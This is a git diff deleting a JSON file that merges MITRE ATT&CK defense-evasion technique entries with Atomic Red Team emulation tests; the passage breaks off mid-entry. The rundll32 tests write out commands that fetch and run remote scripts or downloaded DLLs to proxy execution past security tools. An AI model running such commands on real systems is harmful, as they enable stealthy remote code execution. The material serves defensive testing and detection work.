diff --git "a/yamltojson.json" "b/yamltojson.json" deleted file mode 100644--- "a/yamltojson.json" +++ /dev/null @@ -1,43499 +0,0 @@ -[ - { - "category": "defense-evasion", - "data": { - "T1055.011": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--0042a9f5-f053-4769-b3ef-9ad018dfa298", - "type": "attack-pattern", - "created": "2020-01-14T17:18:32.126Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1055.011", - "url": "https://attack.mitre.org/techniques/T1055/011" - }, - { - "url": "https://msdn.microsoft.com/library/windows/desktop/ms633574.aspx", - "description": "Microsoft. (n.d.). About Window Classes. Retrieved December 16, 2017.", - "source_name": "Microsoft Window Classes" - }, - { - "url": "https://msdn.microsoft.com/library/windows/desktop/ms633584.aspx", - "description": "Microsoft. (n.d.). GetWindowLong function. Retrieved December 16, 2017.", - "source_name": "Microsoft GetWindowLong function" - }, - { - "url": "https://msdn.microsoft.com/library/windows/desktop/ms633591.aspx", - "description": "Microsoft. (n.d.). SetWindowLong function. Retrieved December 16, 2017.", - "source_name": "Microsoft SetWindowLong function" - }, - { - "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", - "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", - "source_name": "Elastic Process Injection July 2017" - }, - { - "url": "https://www.malwaretech.com/2013/08/powerloader-injection-something-truly.html", - "description": "MalwareTech. (2013, August 13). PowerLoader Injection \u2013 Something truly amazing. Retrieved December 16, 2017.", - "source_name": "MalwareTech Power Loader Aug 2013" - }, - { - "url": "https://www.welivesecurity.com/2013/03/19/gapz-and-redyms-droppers-based-on-power-loader-code/", - "description": "Matrosov, A. (2013, March 19). Gapz and Redyms droppers based on Power Loader code. Retrieved December 16, 2017.", - "source_name": "WeLiveSecurity Gapz and Redyms Mar 2013" - }, - { - "url": "https://msdn.microsoft.com/library/windows/desktop/ms644953.aspx", - "description": "Microsoft. (n.d.). SendNotifyMessage function. Retrieved December 16, 2017.", - "source_name": "Microsoft SendNotifyMessage function" - } - ], - "modified": "2020-11-10T18:29:31.004Z", - "name": "Extra Window Memory Injection", - "description": "Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process. \n\nBefore creating a window, graphical Windows-based processes must prescribe to or register a windows class, which stipulate appearance and behavior (via windows procedures, which are functions that handle input/output of data).(Citation: Microsoft Window Classes) Registration of new windows classes can include a request for up to 40 bytes of EWM to be appended to the allocated memory of each instance of that class. This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value. (Citation: Microsoft GetWindowLong function) (Citation: Microsoft SetWindowLong function)\n\nAlthough small, the EWM is large enough to store a 32-bit pointer and is often used to point to a windows procedure. Malware may possibly utilize this memory location in part of an attack chain that includes writing code to shared sections of the process\u2019s memory, placing a pointer to the code in EWM, then invoking execution by returning execution control to the address in the process\u2019s EWM.\n\nExecution granted through EWM injection may allow access to both the target process's memory and possibly elevated privileges. Writing payloads to shared sections also avoids the use of highly monitored API calls such as WriteProcessMemory and CreateRemoteThread.(Citation: Elastic Process Injection July 2017) More sophisticated malware samples may also potentially bypass protection mechanisms such as data execution prevention (DEP) by triggering a combination of windows procedures and other system functions that will rewrite the malicious payload inside an executable portion of the target process. (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via EWM injection may also evade detection from security products since the execution is masked under a legitimate process. ", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "x_mitre_detection": "Monitor for API calls related to enumerating and manipulating EWM such as GetWindowLong (Citation: Microsoft GetWindowLong function) and SetWindowLong (Citation: Microsoft SetWindowLong function). Malware associated with this technique have also used SendNotifyMessage (Citation: Microsoft SendNotifyMessage function) to trigger the associated window procedure and eventual malicious injection. (Citation: Elastic Process Injection July 2017)", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Process: OS API Execution" - ], - "x_mitre_defense_bypassed": [ - "Anti-virus", - "Application control" - ] - }, - "atomic_tests": [] - }, - "T1066": { - "technique": { - "x_mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--00d0b012-8a03-410e-95de-5826bf542de6", - "type": "attack-pattern", - "created": "2017-05-31T21:30:54.176Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "revoked": true, - "external_references": [ - { - "source_name": "mitre-attack", - "url": "https://attack.mitre.org/techniques/T1066", - "external_id": "T1066" - } - ], - "modified": "2020-03-20T15:22:53.835Z", - "name": "Indicator Removal from Tools", - "description": "If a malicious tool is detected and quarantined or otherwise curtailed, an adversary may be able to determine why the malicious tool was detected (the indicator), modify the tool by removing the indicator, and use the updated version that is no longer detected by the target's defensive systems or subsequent targets that may use similar systems.\n\nA good example of this is when malware is detected with a file signature and quarantined by anti-virus software. An adversary who can determine that the malware was quarantined because of its file signature may use [Software Packing](https://attack.mitre.org/techniques/T1045) or otherwise modify the file so it has a different signature, and then re-use the malware.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_detection": "The first detection of a malicious tool may trigger an anti-virus or other security tool alert. Similar events may also occur at the boundary through network IDS, email scanning appliance, etc. The initial detection should be treated as an indication of a potentially more invasive intrusion. The alerting system should be thoroughly investigated beyond that initial alert for activity that was not detected. Adversaries may continue with an operation, assuming that individual events like an anti-virus detect will not be investigated or that an analyst will not be able to conclusively link that event to other activity occurring on the network.", - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_defense_bypassed": [ - "Log analysis", - "Host intrusion prevention systems", - "Anti-virus" - ] - }, - "atomic_tests": [] - }, - "T1218.011": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Gareth Phillips, Seek Ltd.", - "Casey Smith", - "Ricardo Dias", - "James_inthe_box, Me" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "type": "attack-pattern", - "id": "attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5", - "created": "2020-01-23T18:03:46.248Z", - "x_mitre_version": "2.0", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1218.011", - "url": "https://attack.mitre.org/techniques/T1218/011" - }, - { - "source_name": "rundll32.exe defense evasion", - "url": "https://www.cynet.com/attack-techniques-hands-on/defense-evasion-techniques/", - "description": "Ariel silver. (2022, February 1). Defense Evasion Techniques. Retrieved April 8, 2022." - }, - { - "source_name": "Attackify Rundll32.exe Obscurity", - "url": "https://www.attackify.com/blog/rundll32_execution_order/", - "description": "Attackify. (n.d.). Rundll32.exe Obscurity. Retrieved August 23, 2021." - }, - { - "source_name": "This is Security Command Line Confusion", - "url": "https://thisissecurity.stormshield.com/2014/08/20/poweliks-command-line-confusion/", - "description": "B. Ancel. (2014, August 20). Poweliks \u2013 Command Line Confusion. Retrieved March 5, 2018." - }, - { - "source_name": "Github NoRunDll", - "url": "https://github.com/gtworek/PSBits/tree/master/NoRunDll", - "description": "gtworek. (2019, December 17). NoRunDll. Retrieved August 23, 2021." - }, - { - "source_name": "Trend Micro CPL", - "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf", - "description": "Merces, F. (2014). CPL Malware Malicious Control Panel Items. Retrieved November 1, 2017." - } - ], - "x_mitre_deprecated": false, - "revoked": false, - "description": "Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. [Shared Modules](https://attack.mitre.org/techniques/T1129)), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: rundll32.exe {DLLname, DLLfunction}).\n\nRundll32.exe can also be used to execute [Control Panel](https://attack.mitre.org/techniques/T1218/002) Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)\n\nRundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \";document.write();GetObject(\"script:https[:]//www[.]example[.]com/malicious.sct\")\" This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)\n\nAdversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command rundll32.exe ExampleDLL.dll, ExampleFunction, rundll32.exe would first attempt to execute ExampleFunctionW, or failing that ExampleFunctionA, before loading ExampleFunction). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending W and/or A to harmless ones.(Citation: Attackify Rundll32.exe Obscurity)(Citation: Github NoRunDll) DLL functions can also be exported and executed by an ordinal number (ex: rundll32.exe file.dll,#1).\n\nAdditionally, adversaries may use [Masquerading](https://attack.mitre.org/techniques/T1036) techniques (such as changing DLL file names, file extensions, or function names) to further conceal execution of a malicious payload.(Citation: rundll32.exe defense evasion) ", - "modified": "2022-04-19T18:12:39.357Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Signed Binary Proxy Execution: Rundll32", - "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of rundll32.exe. Compare recent invocations of rundll32.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity.\n\nCommand arguments used with the rundll32.exe invocation may also be useful in determining the origin and purpose of the DLL being loaded. Analyzing DLL exports and comparing to runtime arguments may be useful in uncovering obfuscated function calls.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_is_subtechnique": true, - "x_mitre_data_sources": [ - "Module: Module Load", - "Command: Command Execution", - "Process: Process Creation", - "File: File Metadata" - ], - "x_mitre_defense_bypassed": [ - "Digital Certificate Validation", - "Application control", - "Anti-virus" - ], - "x_mitre_attack_spec_version": "2.1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "identifier": "T1218.011" - }, - "atomic_tests": [ - { - "name": "Rundll32 execute JavaScript Remote Payload With GetObject", - "auto_generated_guid": "57ba4ce9-ee7a-4f27-9928-3c70c489b59d", - "description": "Test execution of a remote script using rundll32.exe. Upon execution notepad.exe will be opened. \nThis has been used by Win32/Poweliks malware and works as described [here](https://www.stormshield.com/news/poweliks-command-line-confusion/)\n\nNote: The GetObject function is no longer supported in Internet Explorer v9 (2011) and later so this technique would only work where very old versions of IE are installed. \n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "file_url": { - "description": "location of the payload", - "type": "url", - "default": "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1218.011/src/T1218.011.sct" - } - }, - "executor": { - "command": "rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \";document.write();GetObject(\"script:#{file_url}\").Exec();window.close();\n", - "cleanup_command": "taskkill /IM notepad.exe /f\n", - "name": "command_prompt" - } - }, - { - "name": "Rundll32 execute VBscript command", - "auto_generated_guid": "638730e7-7aed-43dc-bf8c-8117f805f5bb", - "description": "Test execution of a command using rundll32.exe and VBscript in a similar manner to the JavaScript test.\nTechnique documented by Hexacorn- http://www.hexacorn.com/blog/2019/10/29/rundll32-with-a-vbscript-protocol/\nUpon execution calc.exe will be launched\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "command_to_execute": { - "description": "Command for rundll32.exe to execute", - "type": "string", - "default": "calc.exe" - } - }, - "executor": { - "command": "rundll32 vbscript:\"\\..\\mshtml,RunHTMLApplication \"+String(CreateObject(\"WScript.Shell\").Run(\"#{command_to_execute}\"),0)\n", - "name": "command_prompt" - } - }, - { - "name": "Rundll32 execute VBscript command using Ordinal number", - "auto_generated_guid": "32d1cf1b-cbc2-4c09-8d05-07ec5c83a821", - "description": "Test execution of a command using rundll32.exe and VBscript in a similar manner to the JavaScript test.\nTechnique documented by Hexacorn- http://www.hexacorn.com/blog/2019/10/29/rundll32-with-a-vbscript-protocol/\nUpon execution calc.exe will be launched\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "command_to_execute": { - "description": "Command for rundll32.exe to execute", - "type": "string", - "default": "calc.exe" - } - }, - "executor": { - "command": "rundll32 vbscript:\"\\..\\mshtml,#135 \"+String(CreateObject(\"WScript.Shell\").Run(\"#{command_to_execute}\"),0)\n", - "name": "command_prompt" - } - }, - { - "name": "Rundll32 advpack.dll Execution", - "auto_generated_guid": "d91cae26-7fc1-457b-a854-34c8aad48c89", - "description": "Test execution of a command using rundll32.exe with advpack.dll.\nReference: https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSLibraries/Advpack.yml\nUpon execution calc.exe will be launched\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "inf_to_execute": { - "description": "Local location of inf file", - "type": "string", - "default": "PathToAtomicsFolder\\T1218.011\\src\\T1218.011.inf" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "Inf file must exist on disk at specified location (#{inf_to_execute})\n", - "prereq_command": "if (Test-Path #{inf_to_execute}) {exit 0} else {exit 1}\n", - "get_prereq_command": "New-Item -Type Directory (split-path #{inf_to_execute}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.011/src/T1218.011.inf\" -OutFile \"#{inf_to_execute}\"\n" - } - ], - "executor": { - "command": "rundll32.exe advpack.dll,LaunchINFSection #{inf_to_execute},DefaultInstall_SingleUser,1,\n", - "name": "command_prompt" - } - }, - { - "name": "Rundll32 ieadvpack.dll Execution", - "auto_generated_guid": "5e46a58e-cbf6-45ef-a289-ed7754603df9", - "description": "Test execution of a command using rundll32.exe with ieadvpack.dll.\nUpon execution calc.exe will be launched\n\nReference: https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSLibraries/Ieadvpack.yml\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "inf_to_execute": { - "description": "Local location of inf file", - "type": "string", - "default": "PathToAtomicsFolder\\T1218.011\\src\\T1218.011.inf" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "Inf file must exist on disk at specified location (#{inf_to_execute})\n", - "prereq_command": "if (Test-Path #{inf_to_execute}) {exit 0} else {exit 1}\n", - "get_prereq_command": "New-Item -Type Directory (split-path #{inf_to_execute}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.011/src/T1218.011.inf\" -OutFile \"#{inf_to_execute}\"\n" - } - ], - "executor": { - "command": "rundll32.exe ieadvpack.dll,LaunchINFSection #{inf_to_execute},DefaultInstall_SingleUser,1,\n", - "name": "command_prompt" - } - }, - { - "name": "Rundll32 syssetup.dll Execution", - "auto_generated_guid": "41fa324a-3946-401e-bbdd-d7991c628125", - "description": "Test execution of a command using rundll32.exe with syssetup.dll. Upon execution, a window saying \"installation failed\" will be opened\n\nReference: https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSLibraries/Syssetup.yml\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "inf_to_execute": { - "description": "Local location of inf file", - "type": "string", - "default": "PathToAtomicsFolder\\T1218.011\\src\\T1218.011_DefaultInstall.inf" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "Inf file must exist on disk at specified location (#{inf_to_execute})\n", - "prereq_command": "if (Test-Path #{inf_to_execute}) {exit 0} else {exit 1}\n", - "get_prereq_command": "New-Item -Type Directory (split-path #{inf_to_execute}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.011/src/T1218.011_DefaultInstall.inf\" -OutFile \"#{inf_to_execute}\"\n" - } - ], - "executor": { - "command": "rundll32.exe syssetup.dll,SetupInfObjectInstallAction DefaultInstall 128 #{inf_to_execute}\n", - "name": "command_prompt" - } - }, - { - "name": "Rundll32 setupapi.dll Execution", - "auto_generated_guid": "71d771cd-d6b3-4f34-bc76-a63d47a10b19", - "description": "Test execution of a command using rundll32.exe with setupapi.dll. Upon execution, a windows saying \"installation failed\" will be opened\n\nReference: https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSLibraries/Setupapi.yml\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "inf_to_execute": { - "description": "Local location of inf file", - "type": "string", - "default": "PathToAtomicsFolder\\T1218.011\\src\\T1218.011_DefaultInstall.inf" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "Inf file must exist on disk at specified location (#{inf_to_execute})\n", - "prereq_command": "if (Test-Path #{inf_to_execute}) {exit 0} else {exit 1}\n", - "get_prereq_command": "New-Item -Type Directory (split-path #{inf_to_execute}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.011/src/T1218.011_DefaultInstall.inf\" -OutFile \"#{inf_to_execute}\"\n" - } - ], - "executor": { - "command": "rundll32.exe setupapi.dll,InstallHinfSection DefaultInstall 128 #{inf_to_execute}\n", - "name": "command_prompt" - } - }, - { - "name": "Execution of HTA and VBS Files using Rundll32 and URL.dll", - "auto_generated_guid": "22cfde89-befe-4e15-9753-47306b37a6e3", - "description": "IcedID uses this TTP as follows:\n rundll32.exe url.dll,OpenURL %PUBLIC%\\index.hta\nTrickbot uses this TTP as follows:\n rundll32.exe URL.dll,FileProtocolHandler C:\\\\..\\\\Detail\\\\akteullen.vbs\n\nIn this atomic, the sample hta file opens the calculator and the vbs file shows a message dialog with \"rundll32 spawned wscript\"\n", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "rundll32.exe url.dll,OpenURL PathToAtomicsFolder\\T1218.011\\src\\index.hta\nrundll32.exe URL.dll,FileProtocolHandler PathToAtomicsFolder\\T1218.011\\src\\akteullen.vbs\n", - "name": "command_prompt" - } - }, - { - "name": "Launches an executable using Rundll32 and pcwutl.dll", - "auto_generated_guid": "9f5d081a-ee5a-42f9-a04e-b7bdc487e676", - "description": "Executes the LaunchApplication function in pcwutl.dll to proxy execution of an executable.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "exe_to_launch": { - "description": "Path of the executable to launch", - "type": "path", - "default": "%windir%\\System32\\notepad.exe" - } - }, - "executor": { - "command": "rundll32.exe pcwutl.dll,LaunchApplication #{exe_to_launch}\n", - "name": "command_prompt" - } - }, - { - "name": "Execution of non-dll using rundll32.exe", - "auto_generated_guid": "ae3a8605-b26e-457c-b6b3-2702fd335bac", - "description": "Rundll32.exe running non-dll \n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "input_url": { - "description": "Url to download the DLL", - "type": "url", - "default": "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1047/bin/calc.dll" - }, - "input_file": { - "description": "Non-dll file", - "type": "string", - "default": "C:\\Users\\$env:username\\Downloads\\calc.png" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "Non-dll file must exist on disk at specified location\n", - "prereq_command": "if (Test-Path #{input_file}) {exit 0} else {exit 1}\n", - "get_prereq_command": "Invoke-WebRequest \"#{input_url}\" -OutFile \"#{input_file}\"\n" - } - ], - "executor": { - "name": "powershell", - "command": "rundll32.exe #{input_file}, StartW\n" - } - }, - { - "name": "Rundll32 with Ordinal Value", - "auto_generated_guid": "9fd5a74b-ba89-482a-8a3e-a5feaa3697b0", - "description": "Rundll32.exe loading dll using ordinal value #2 to DLLRegisterServer. \nUpon successful execution, Calc.exe will spawn.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "input_url": { - "description": "Url to download the DLL", - "type": "url", - "default": "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1218.010/bin/AllTheThingsx64.dll" - }, - "input_file": { - "description": "DLL File", - "type": "string", - "default": "PathToAtomicsFolder\\T1218.010\\bin\\AllTheThingsx64.dll" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "DLL file must exist on disk at specified location\n", - "prereq_command": "if (Test-Path #{input_file}) {exit 0} else {exit 1}\n", - "get_prereq_command": "Invoke-WebRequest \"#{input_url}\" -OutFile \"#{input_file}\"\n" - } - ], - "executor": { - "name": "command_prompt", - "command": "rundll32.exe #{input_file},#2\n" - } - }, - { - "name": "Rundll32 with Control_RunDLL", - "auto_generated_guid": "e4c04b6f-c492-4782-82c7-3bf75eb8077e", - "description": "Rundll32.exe loading dll with 'control_rundll' within the command-line, loading a .cpl or another file type related to CVE-2021-40444. \n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "input_url": { - "description": "Url to download the DLL", - "type": "url", - "default": "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1047/bin/calc.dll" - }, - "input_file": { - "description": "DLL File", - "type": "string", - "default": "PathToAtomicsFolder\\T1047\\bin\\calc.dll" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "DLL file must exist on disk at specified location\n", - "prereq_command": "if (Test-Path #{input_file}) {exit 0} else {exit 1}\n", - "get_prereq_command": "Invoke-WebRequest \"#{input_url}\" -OutFile \"#{input_file}\"\n" - } - ], - "executor": { - "name": "command_prompt", - "command": "rundll32.exe shell32.dll,Control_RunDLL #{input_file}\n" - } - }, - { - "name": "Rundll32 with desk.cpl", - "auto_generated_guid": "83a95136-a496-423c-81d3-1c6750133917", - "description": "Rundll32.exe loading an executable renamed as .scr using desk.cpl \nReference: \n - [LOLBAS - Libraries/Desk](https://lolbas-project.github.io/lolbas/Libraries/Desk/)\nSIGMA rules:\n - [SCR File Write Event](https://github.com/SigmaHQ/sigma/blob/b53f08b081e0a50099be9b9e8eced82097fdbaf2/rules/windows/file_event/file_event_win_new_src_file.yml)\n - [Rundll32 InstallScreenSaver Execution](https://github.com/SigmaHQ/sigma/blob/b53f08b081e0a50099be9b9e8eced82097fdbaf2/rules/windows/process_creation/proc_creation_win_lolbin_rundll32_installscreensaver.yml)\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "exe_to_launch": { - "description": "Path of the executable to launch", - "type": "path", - "default": "%windir%\\System32\\calc.exe" - } - }, - "executor": { - "name": "command_prompt", - "command": "copy #{exe_to_launch} not_an_scr.scr\nrundll32.exe desk.cpl,InstallScreenSaver not_an_scr.scr\n", - "cleanup_command": "del not_an_scr.scr" - } - } - ] - }, - "T1143": { - "technique": { - "x_mitre_platforms": [ - "macOS", - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Travis Smith, Tripwire" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--04ee0cb7-dac3-4c6c-9387-4c6aa096f4cf", - "type": "attack-pattern", - "created": "2017-12-14T16:46:06.044Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "revoked": true, - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1143", - "url": "https://attack.mitre.org/techniques/T1143" - }, - { - "source_name": "PowerShell About 2019", - "url": "https://docs.microsoft.com/en-us/powershell/module/Microsoft.PowerShell.Core/About/about_PowerShell_exe?view=powershell-5.1", - "description": "Wheeler, S. et al.. (2019, May 1). About PowerShell.exe. Retrieved October 11, 2019." - }, - { - "url": "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/", - "description": "Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.", - "source_name": "Antiquated Mac Malware" - } - ], - "modified": "2020-03-13T21:03:18.600Z", - "name": "Hidden Window", - "description": "Adversaries may implement hidden windows to conceal malicious activity from the plain sight of users. In some cases, windows that would typically be displayed when an application carries out an operation can be hidden. This may be utilized by system administrators to avoid disrupting user work environments when carrying out administrative tasks. Adversaries may abuse operating system functionality to hide otherwise visible windows from users so as not to alert the user to adversary activity on the system.\n\n### Windows\nThere are a variety of features in scripting languages in Windows, such as [PowerShell](https://attack.mitre.org/techniques/T1086), Jscript, and VBScript to make windows hidden. One example of this is powershell.exe -WindowStyle Hidden. (Citation: PowerShell About 2019)\n\n### Mac\nThe configurations for how applications run on macOS are listed in property list (plist) files. One of the tags in these files can be apple.awt.UIElement, which allows for Java applications to prevent the application's icon from appearing in the Dock. A common use for this is when applications run in the system tray, but don't also want to show up in the Dock. However, adversaries can abuse this feature and hide their running window.(Citation: Antiquated Mac Malware)\n", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_detection": "Monitor processes and command-line arguments for actions indicative of hidden windows. In Windows, enable and configure event logging and PowerShell logging to check for the hidden window style. In MacOS, plist files are ASCII text files with a specific format, so they're relatively easy to parse. File monitoring can check for the apple.awt.UIElement or any other suspicious plist tag in plist files and flag them.", - "x_mitre_version": "1.1", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_permissions_required": [ - "User" - ] - }, - "atomic_tests": [] - }, - "T1150": { - "technique": { - "x_mitre_platforms": [ - "macOS" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "type": "attack-pattern", - "id": "attack-pattern--06780952-177c-4247-b978-79c357fb311f", - "created": "2017-12-14T16:46:06.044Z", - "x_mitre_version": "1.0", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1150", - "url": "https://attack.mitre.org/techniques/T1150" - }, - { - "source_name": "Sofacy Komplex Trojan", - "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/", - "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017." - } - ], - "x_mitre_deprecated": false, - "revoked": true, - "description": "Property list (plist) files contain all of the information that macOS and OS X uses to configure applications and services. These files are UTF-8 encoded and formatted like XML documents via a series of keys surrounded by < >. They detail when programs should execute, file paths to the executables, program arguments, required OS permissions, and many others. plists are located in certain locations depending on their purpose such as /Library/Preferences (which execute with elevated privileges) and ~/Library/Preferences (which execute with a user's privileges). \nAdversaries can modify these plist files to point to their own code, can use them to execute their code in the context of another user, bypass whitelisting procedures, or even use them as a persistence mechanism. (Citation: Sofacy Komplex Trojan)", - "modified": "2022-04-22T18:49:20.520Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Plist Modification", - "x_mitre_detection": "File system monitoring can determine if plist files are being modified. Users should not have permission to modify these in most cases. Some software tools like \"Knock Knock\" can detect persistence mechanisms and point to the specific files that are being referenced. This can be helpful to see what is actually being executed.\n\nMonitor process execution for abnormal process execution resulting from modified plist files. Monitor utilities used to modify plist files or that take a plist file as an argument, which may indicate suspicious activity.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "x_mitre_is_subtechnique": false, - "x_mitre_permissions_required": [ - "User", - "Administrator" - ], - "x_mitre_defense_bypassed": [ - "Application whitelisting", - "Process whitelisting", - "Whitelisting by file name or path" - ], - "x_mitre_attack_spec_version": "2.1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" - }, - "atomic_tests": [] - }, - "T1556.003": { - "technique": { - "x_mitre_platforms": [ - "Linux", - "macOS" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Scott Knight, @sdotknight, VMware Carbon Black", - "George Allen, VMware Carbon Black" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--06c00069-771a-4d57-8ef5-d3718c1a8771", - "type": "attack-pattern", - "created": "2020-06-26T04:01:09.648Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1556.003", - "url": "https://attack.mitre.org/techniques/T1556/003" - }, - { - "source_name": "Apple PAM", - "url": "https://opensource.apple.com/source/dovecot/dovecot-239/dovecot/doc/wiki/PasswordDatabase.PAM.txt", - "description": "Apple. (2011, May 11). PAM - Pluggable Authentication Modules. Retrieved June 25, 2020." - }, - { - "source_name": "Man Pam_Unix", - "url": 